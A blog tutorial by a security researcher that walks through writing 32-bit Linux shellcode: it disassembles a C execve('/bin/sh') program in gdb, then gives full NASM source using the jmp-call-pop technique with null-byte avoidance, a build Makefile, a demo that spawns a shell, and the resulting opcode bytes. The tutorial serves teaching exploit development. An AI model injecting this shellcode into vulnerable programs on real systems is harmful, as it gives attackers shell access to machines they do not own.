Shellcode 32bits


Posted on August, 2017

In this tutorial we are going to create a shellcode that launch a shell. A shellcode is a piece of assembly code which can be injected into a vulnerable program in order to redirect the execution flow. The first thing we need to do before writting a shellcode is reversing the C code that do the same action. By this way we will see the registers behaviour and the assembly code associated to our C code. Here is a simple C code that launch a shell with the syscall execve()

#include<stdio.h>

int main(){

        char *inject[2];
        inject[0] = "/bin/sh";
        inject[1] = NULL;
        execve(inject[0], inject, NULL);

return 0;

}                

If you don't understand this code just open the man for execve in linux and you will be abble to understand it! Here is the beginning of the Makefile that compile the code.

  • -static : All the functions including the libc functions are embedded in the binary
  • -O0 : no optimization
  • -g: debugging options
  • -m32: 32bits

all:
	gcc -m32 -g -O0 -static shell.c -o shell
                

Okay, now let's reverse the binary in order to understand the registers behaviour.

gdb -q shell
Reading symbols from shell...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048e3c <+0>:	lea    ecx,[esp+0x4]
   0x08048e40 <+4>:	and    esp,0xfffffff0
   0x08048e43 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048e46 <+10>:	push   ebp
   0x08048e47 <+11>:	mov    ebp,esp
   0x08048e49 <+13>:	push   ecx
   0x08048e4a <+14>:	sub    esp,0x14
   0x08048e4d <+17>:	mov    DWORD PTR [ebp-0x10],0x80be468
   0x08048e54 <+24>:	mov    DWORD PTR [ebp-0xc],0x0
   0x08048e5b <+31>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048e5e <+34>:	sub    esp,0x4
   0x08048e61 <+37>:	push   0x0
   0x08048e63 <+39>:	lea    edx,[ebp-0x10]
   0x08048e66 <+42>:	push   edx
   0x08048e67 <+43>:	push   eax
   0x08048e68 <+44>:	call   0x806bf70 <execve>
   0x08048e6d <+49>:	add    esp,0x10
   0x08048e70 <+52>:	mov    eax,0x0
   0x08048e75 <+57>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048e78 <+60>:	leave
   0x08048e79 <+61>:	lea    esp,[ecx-0x4]
   0x08048e7c <+64>:	ret
End of assembler dump.
(gdb)
                

  • At main + +17 : We can see that the code place the address of the "/bin/sh" at [ebp-0x10]
  • (gdb) x/s 0x80be468  (x/s : examine the address 0x80be468 )
    0x80be468:	"/bin/sh"
    
  • At main+24 we can see that a null byte is placed at address [ebp-0xc]
  • At main+31 we place the address of "/bin/sh" in the eax register
  • At main+34 the stack is increased
  • At main+37 we place 0x0 on the top of the stack
  • At main+39 a pointer to the address of the string "/bin/sh" is placed in the edx register
  • At main+42 edx is then placed on the stack
  • At main+43 the eax register is also placed on the top of the stack
  • Finally we call the execve function
  • Now, let's reverse the code of the execve function. Here is the state of the stack just before the call

    (gdb) x/10wx $sp
    0xffffd3c0:	0x080be468	0xffffd3d8	0x00000000	0x0804955a
    0xffffd3d0:	0x00000001	0xffffd484	0x080be468	0x00000000
    0xffffd3e0:	0x080e9a14	0xffffd400
    (gdb)
    

    The "/bin/sh" string is at 0x080be468, the pointer to the string "/bin/sh" is at 0xffffd3d8 (see below), and then we have the null byte.

    (gdb) x/x 0xffffd3d8
    0xffffd3d8:	0x080be468

    Here is the execve disassembly

    (gdb) disas execve
    Dump of assembler code for function execve:
       0x0806bf70 <+0>:	push   ebx
       0x0806bf71 <+1>:	mov    edx,DWORD PTR [esp+0x10]
       0x0806bf75 <+5>:	mov    ecx,DWORD PTR [esp+0xc]
       0x0806bf79 <+9>:	mov    ebx,DWORD PTR [esp+0x8]
       0x0806bf7d <+13>:	mov    eax,0xb
       0x0806bf82 <+18>:	call   DWORD PTR ds:0x80ea390
       0x0806bf88 <+24>:	cmp    eax,0xfffff000
       0x0806bf8d <+29>:	ja     0x806bf91 <execve+33>
       0x0806bf8f <+31>:	pop    ebx
       0x0806bf90 <+32>:	ret
       0x0806bf91 <+33>:	mov    edx,0xffffffe8
       0x0806bf97 <+39>:	neg    eax
       0x0806bf99 <+41>:	mov    DWORD PTR gs:[edx],eax
       0x0806bf9c <+44>:	or     eax,0xffffffff
       0x0806bf9f <+47>:	pop    ebx
       0x0806bfa0 <+48>:	ret
    End of assembler dump.
    (gdb)
    

    • At execve+0 we push the ebx register on the top of the stack
    • At execve+1 we move the value at [esp+0x10] which is 0x0 (the null byte) in the edx register
    • At execve+5 we move the value at [esp+0xc] which is 0xffffd3d8 (address of the pointer) in the ecx register
    • At execve+9 we move the value at [esp+0x8] which is 0x80be468 (address of the string "/bin/sh")in the ebx register
    • At execve+13 we move the value of the execve syscall in the ebx register.
    • At execve+18 then we perform the syscall

    Here is the summary of the registers

    (gdb) i r
    eax            0xb	11
    ecx            0xffffd3d8	-11304
    edx            0x0	0
    ebx            0x80be468	134997096
    esp            0xffffd3b8	0xffffd3b8
    ebp            0xffffd3e8	0xffffd3e8
    esi            0x0	0
    edi            0x80e99c4	135174596
    eip            0x806bf82	0x806bf82 <execve+18>
    eflags         0x296	[ PF AF SF IF ]
    cs             0x23	35
    ss             0x2b	43
    ds             0x2b	43
    es             0x2b	43
    fs             0x0	0
    gs             0x63	99
    

    Okay now we have all the information in order to writte our shellcode. The eax register contains the value of the syscall number, the ebx register contains the address of the string, the ecx contains the address of the pointer, then the edx contains the null value. I'm going to writte the shellcode and explain step by step, how to avoid null byte and how to get the address of the "/bin/sh" into registers

    Here is my code

    bits 32
    section .text
    global main
    
    main:
            jmp short Onstack    (1)
    
    shellcode:
            pop esi                  (4)
            xor eax, eax             (5)
            mov byte [esi+7], al     (6)
            lea ebx, [esi]           (7)
            mov long [esi+8], ebx    (8)
            mov long [esi +12], eax  (9)
            mov byte al, 0xb         (10)
            mov ebx, esi             (11)
            lea ecx, [esi+8]         (12)
            lea edx, [esi+12]        (13)
            int 0x80                 (14)
    
    Onstack:
            call shellcode          (2)
            db "/bin/shJETEHACKK"   (3)
    

    • (1) This is the entry point of the program, and we will jump into the Onstack routine.
    • (2) The call instruction will redirect the execution flow into the shellcode function. Remember, a call instruction push the address of the next instruction on the top of the stack. So the address of the "/bin/shJETEHACKK" (3) will be pushed on the top of the stack.
    • (4) We pop the address of the string "/bin/shJETEHACKK" in esi register.
    • (5) We xor the eax register by himself in order to initialize it. We use xor instead of mov eax, 0x0 in order to avoid null bytes in our shellcode.
    • (6) We move a null byte at the address contained in esi+7 so our string "/bin/shJETEHACKK" becomes "/bin/sh\0ETEHACKK"
    • (7) We move the address in esi as a pointer in ebx register.
    • (8) Then we move the pointer in ebx register at address esi+8, so "ETEH" will be replaced by the address of the beginning of our string.
    • (9) We move the eax register which is 0x00000000 at address esi+12 so the "ACKK" string will be replaced by 0x00000000
    • (10) We move the syscall number in eax register.
    • (11) We move the address of the string from esi register in ebx register.
    • (12) We load as a pointer the address esi+8 in ecx register. So ecx will have the address esi+8 which contains the address to our string (esi value).

    (gdb) i r
    eax            0xb	11
    ecx            0x8048e49	134516297
    edx            0xffffd404	-11260
    ebx            0x8048e41	134516289
    esp            0xffffd3ec	0xffffd3ec
    ebp            0x8049550	0x8049550 
    esi            0x8048e41	134516289
    edi            0x80e88e4	135170276
    eip            0x8048e37	0x8048e37 
    eflags         0x246	[ PF ZF IF ]
    cs             0x23	35
    ss             0x2b	43
    ds             0x2b	43
    es             0x2b	43
    fs             0x0	0
    gs             0x63	99
    (gdb)

    • (13) We load as a pointer the address esi+12 in edx register. So edx will have the address esi+12 which contains the address to our NULL value (esi value).

    (gdb) i r
    eax            0xb	11
    ecx            0x8048e49	134516297
    edx            0x8048e4d	134516301
    ebx            0x8048e41	134516289
    esp            0xffffd3ec	0xffffd3ec
    ebp            0x8049550	0x8049550 
    esi            0x8048e41	134516289
    edi            0x80e88e4	135170276
    eip            0x8048e3a	0x8048e3a 
    eflags         0x246	[ PF ZF IF ]
    cs             0x23	35
    ss             0x2b	43
    ds             0x2b	43
    es             0x2b	43
    fs             0x0	0
    gs             0x63	99

  • (14) We perform the interruption that execute the syscall
  • Here is my Makefile, don't forget to enable the .text section to be executable if you don't want to have a SEGFAULT

    all:
    	gcc -m32 -g -O0 -static shell.c -o shell
    	nasm -f elf32 shellcode.asm
    	gcc -m32 --static -g -Wl,--omagic -o shellcode shellcode.o
    
    

    Demo:

    reglisse@debian:~/Documents/security/shellcode$ ./shellcode 
    $ 
    

    You can verifify that it contains no null bytes by using objdump -d

    080483d0 <main>:
     80483d0:	eb 1a                	jmp    80483ec <Onstack>
    
    080483d2 <shellcode>:
     80483d2:	5e                   	pop    %esi
     80483d3:	31 c0                	xor    %eax,%eax
     80483d5:	88 46 07             	mov    %al,0x7(%esi)
     80483d8:	8d 1e                	lea    (%esi),%ebx
     80483da:	89 5e 08             	mov    %ebx,0x8(%esi)
     80483dd:	89 46 0c             	mov    %eax,0xc(%esi)
     80483e0:	b0 0b                	mov    $0xb,%al
     80483e2:	89 f3                	mov    %esi,%ebx
     80483e4:	8d 4e 08             	lea    0x8(%esi),%ecx
     80483e7:	8d 56 0c             	lea    0xc(%esi),%edx
     80483ea:	cd 80                	int    $0x80
                                    
    080483ec <Onstack>:
     80483ec:	e8 e1 ff ff ff       	call   80483d2 <shellcode>
     80483f1:	2f                   	das    
     80483f2:	62 69 6e             	bound  %ebp,0x6e(%ecx)
     80483f5:	2f                   	das    
     80483f6:	73 68                	jae    8048460 <__libc_csu_init+0x50>
     80483f8:	4a                   	dec    %edx
     80483f9:	45                   	inc    %ebp
     80483fa:	54                   	push   %esp
     80483fb:	45                   	inc    %ebp
     80483fc:	48                   	dec    %eax
     80483fd:	41                   	inc    %ecx
     80483fe:	43                   	inc    %ebx
     80483ff:	4b                   	dec    %ebx
     8048400:	4b                   	dec    %ebx
     8048401:	66 90                	xchg   %ax,%ax
     8048403:	66 90                	xchg   %ax,%ax
     8048405:	66 90                	xchg   %ax,%ax
     8048407:	66 90                	xchg   %ax,%ax
     8048409:	66 90                	xchg   %ax,%ax
     804840b:	66 90                	xchg   %ax,%ax
     804840d:	66 90                	xchg   %ax,%ax
     804840f:	90                   	nop
                                    
    
    Presentation
    Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

    Second place a CSAW 2k16 NYU :)
    IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

    You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com